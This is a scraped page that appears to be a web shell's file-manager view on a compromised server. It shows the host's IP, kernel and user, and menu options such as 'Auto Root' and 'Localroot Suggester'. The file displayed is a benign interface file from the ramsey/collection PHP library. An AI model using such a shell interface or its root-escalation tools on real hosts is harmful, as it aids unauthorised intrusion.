Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.73.229
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
ramsey /
collection /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Exception
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
Map
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
Tool
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
AbstractArray.php
4.69
KB
-rw-r--r--
2020-11-17 16:24
AbstractCollection.php
12.79
KB
-rw-r--r--
2020-11-17 16:24
AbstractSet.php
1.77
KB
-rw-r--r--
2020-11-17 16:24
ArrayInterface.php
985
B
-rw-r--r--
2020-11-17 16:24
Collection.php
2.55
KB
-rw-r--r--
2020-11-17 16:24
CollectionInterface.php
6.34
KB
-rw-r--r--
2020-11-17 16:24
DoubleEndedQueue.php
7.66
KB
-rw-r--r--
2020-11-17 16:24
DoubleEndedQueueInterface.php
10.01
KB
-rw-r--r--
2020-11-17 16:24
GenericArray.php
476
B
-rw-r--r--
2020-11-17 16:24
Queue.php
5.99
KB
-rw-r--r--
2020-11-17 16:24
QueueInterface.php
7.13
KB
-rw-r--r--
2020-11-17 16:24
Set.php
1.75
KB
-rw-r--r--
2020-11-17 16:24
Save
Rename
<?php /** * This file is part of the ramsey/collection library * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. * * @copyright Copyright (c) Ben Ramsey <ben@benramsey.com> * @license http://opensource.org/licenses/MIT MIT */ declare(strict_types=1); namespace Ramsey\Collection; /** * A collection represents a group of objects, known as its elements. * * Some collections allow duplicate elements and others do not. Some are ordered * and others unordered. */ interface CollectionInterface extends ArrayInterface { /** * Ascending sort type. */ public const SORT_ASC = 'asc'; /** * Descending sort type. */ public const SORT_DESC = 'desc'; /** * Ensures that this collection contains the specified element (optional * operation). * * Returns `true` if this collection changed as a result of the call. * (Returns `false` if this collection does not permit duplicates and * already contains the specified element.) * * Collections that support this operation may place limitations on what * elements may be added to this collection. In particular, some * collections will refuse to add `null` elements, and others will impose * restrictions on the type of elements that may be added. Collection * classes should clearly specify in their documentation any restrictions * on what elements may be added. * * If a collection refuses to add a particular element for any reason other * than that it already contains the element, it must throw an exception * (rather than returning `false`). This preserves the invariant that a * collection always contains the specified element after this call returns. * * @param mixed $element The element to add to the collection. * * @return bool `true` if this collection changed as a result of the call. */ public function add($element): bool; /** * Returns `true` if this collection contains the specified element. * * @param mixed $element The element to check whether the collection contains. * @param bool $strict Whether to perform a strict type check on the value. */ public function contains($element, bool $strict = true): bool; /** * Returns the type associated with this collection. */ public function getType(): string; /** * Removes a single instance of the specified element from this collection, * if it is present. * * @param mixed $element The element to remove from the collection. * * @return bool `true` if an element was removed as a result of this call. */ public function remove($element): bool; /** * Returns the values from the given property or method. * * @param string $propertyOrMethod The property or method name to filter by. * * @return mixed[] */ public function column(string $propertyOrMethod): array; /** * Returns the first item of the collection. * * @return mixed */ public function first(); /** * Returns the last item of the collection. * * @return mixed */ public function last(); /** * Sort the collection by a property or method with the given sort order. * * This will always leave the original collection untouched and will return * a new one. * * @param string $propertyOrMethod The property or method to sort by. * @param string $order The sort order for the resulting collection (one of * this interface's `SORT_*` constants). * * @return CollectionInterface<mixed, mixed> */ public function sort(string $propertyOrMethod, string $order = self::SORT_ASC): self; /** * Filter out items of the collection which don't match the criteria of * given callback. * * This will always leave the original collection untouched and will return * a new one. * * See the {@link http://php.net/manual/en/function.array-filter.php PHP array_filter() documentation} * for examples of how the `$callback` parameter works. * * @param callable $callback A callable to use for filtering elements. * * @return CollectionInterface<mixed, mixed> */ public function filter(callable $callback): self; /** * Create a new collection where items match the criteria of given callback. * * This will always leave the original collection untouched and will return * a new one. * * @param string $propertyOrMethod The property or method to evaluate. * @param mixed $value The value to match. * * @return CollectionInterface<mixed, mixed> */ public function where(string $propertyOrMethod, $value): self; /** * Apply a given callback method on each item of the collection. * * This will always leave the original collection untouched and will return * a new one. * * See the {@link http://php.net/manual/en/function.array-map.php PHP array_map() documentation} * for examples of how the `$callback` parameter works. * * @param callable $callback A callable to apply to each item of the * collection. * * @return CollectionInterface<mixed, mixed> */ public function map(callable $callback): self; /** * Create a new collection with divergent items between current and given * collection. * * @param CollectionInterface<mixed, mixed> $other The collection to check for divergent * items. * * @return CollectionInterface<mixed, mixed> */ public function diff(CollectionInterface $other): self; /** * Create a new collection with intersecting item between current and given * collection. * * @param CollectionInterface<mixed, mixed> $other The collection to check for * intersecting items. * * @return CollectionInterface<mixed, mixed> */ public function intersect(CollectionInterface $other): self; /** * Merge current items and items of given collections into a new one. * * @param CollectionInterface<mixed, mixed> ...$collections The collections to merge. * * @return CollectionInterface<mixed, mixed> */ public function merge(CollectionInterface ...$collections): self; }